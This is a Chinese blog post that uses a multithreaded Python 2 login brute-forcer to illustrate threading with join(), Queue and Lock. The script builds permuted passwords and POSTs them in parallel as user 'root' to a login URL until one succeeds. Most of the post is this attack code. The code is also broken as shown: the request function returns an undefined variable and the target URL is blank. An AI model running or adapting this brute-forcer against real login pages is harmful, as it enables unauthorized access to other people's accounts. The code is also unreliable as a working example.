真正使用多线程进行程序的编写,以前学习时的笔记《python threading模块学习join()》,现在用在实践上。 写代码在发现对他不熟悉的时候,总是缩手缩脚的,不知道为什么也不去尝试一下。过分依赖搜索引擎,自从上次写golang读取id3信息的那个程序开始,学会了用英文关键字检索信息,会检索到很多有用的信息,像stackoverflow上的回答。 先介绍一下功能:多线程生成密码,多线程提交数据。密码是排列组合生产的,五个元素全排列5!,这个密码长度是5。5个元素,密码长度为2,5×4  。适合那种通用型密码的破解。 程序代码:
# encoding:utf-8
#
#author:0x55aa
#team:Pax.Mac Team
#time:2012.08.17
#
import urllib2,urllib,time
import threading
from Queue import Queue
from BeautifulSoup import BeautifulSoup

#提交的地址
URL = ""
#密码列表example:['0x55aa','1','b']
passwdlist = ['0x55aa','123','a']
#生产密码长度
passwdlen = 3

#密码生成完毕
passwd_done = False
#队列为空啦,这个可以用Queue.empty()
#post_done = False
#锁,用于输出
lock = threading.Lock()
#tag标识是否找到密码退出
tag = False

#密码
def perm(items, n=None):
    if n is None:
        n = len(items)
    for i in range(len(items)):
        v = items[i:i+1]
        if n == 1:
            yield v
        else:
            rest = items[:i] + items[i+1:]
            for p in perm(rest, n-1):
                yield v + p

def sqlPost(password):
    """提交奥"""
    #提交字段的设置在这里。。
    post_params = [
        ('UserName', 'root'),
        ('Password', password),
        ]
    data = urllib.urlencode(post_params)
    req = urllib2.Request(URL)
    r = urllib2.urlopen(req,data)

    #这里加入返回数据的判断
    """
    soup = BeautifulSoup(r.read())
    list1 = soup.find('value')
    """
    return list1

class PasswordProduce(threading.Thread):
    """生成密码"""
    def __init__(self,queue,first,items,n):
        threading.Thread.__init__(self)
        self.passwd = queue
        self.first = first
        self.items = items
        self.n = n

    def run(self):
        #生成密码
        r = perm(self.items,self.n)
        for i in r:
            p = self.first + ''.join(i)
            #密码插入队列
            self.passwd.put(p)
            """
            if lock.acquire():
                print p
                lock.release()
            """

class Sqlpost(threading.Thread):
    """提交"""
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.passwd = queue

    def run(self):
        #post提交
        global passwd_done
        while not (passwd_done and self.passwd.empty()):
            """
            if lock.acquire():
                print self.getName(),passwd_done , self.passwd.empty()
                lock.release()
            """
            #取得密码
            if not self.passwd.empty():
                p = self.passwd.get()
            else:
                time.sleep(2)
                continue
            """
            if lock.acquire():
                print p
                lock.release()
            """
            #提交
            r = sqlPost(p)
            #打印返回信息
            global tag
            if r:
                tag = True
            if lock.acquire():
                print "password:",p,">>the result:",r
                #print r
                lock.release()
            if tag:
                break

def main():

    queue = Queue()
    #密码线程
    passwdthread = []
    #post
    postthread = []

    #线程数
    s = len(passwdlist)
    for i in range(s):
        first = passwdlist[i]
        lastlist = passwdlist[:i]+passwdlist[i+1:]
        thelen = passwdlen - 1
        pp = PasswordProduce(queue,first,lastlist,thelen)
        sp = Sqlpost(queue)
        passwdthread.append(pp)
        postthread.append(sp)
        pp.start()
        sp.start()

    for t in passwdthread:
        t.join()
    #设置,密码生产完毕
    global passwd_done
    passwd_done = True

    print "\npassword is produced done\n"

    for t in postthread:
        t.join()

    print "\nAll done!\n"

if __name__ == '__main__':
    main()
排列组合代码Google而来,等再写一篇文章进行分析,这篇写多线程编程。 1.join方法的使用。可以参考上面这篇文章,在密码生产线程都结束后,进行passwd_done变量的设置。 2.queue的使用。queue可以方便的进行线程间的通信数据交换。生产密码添加到queue,post线程提交从队列中获取密码。这里有两个判断条件:passwd_done判断密码生产是否结束,self.passwd.empty()检查队列是否为空。当这两个条件都符合时,密码就全部跑完了。还有一个全局变量tag用于当密码成功后,结束线程。 3.密码为了多线程生成,我取其中一个元素作为密码的首位,也就是有len(passwdlist)个线程。不知道这里用什么方法实现好。 4.数据的打印用了threading.Lock()

上一篇:
下一篇:

相关文章:

Categories: 博客记录

0 Responses so far.

Leave a Reply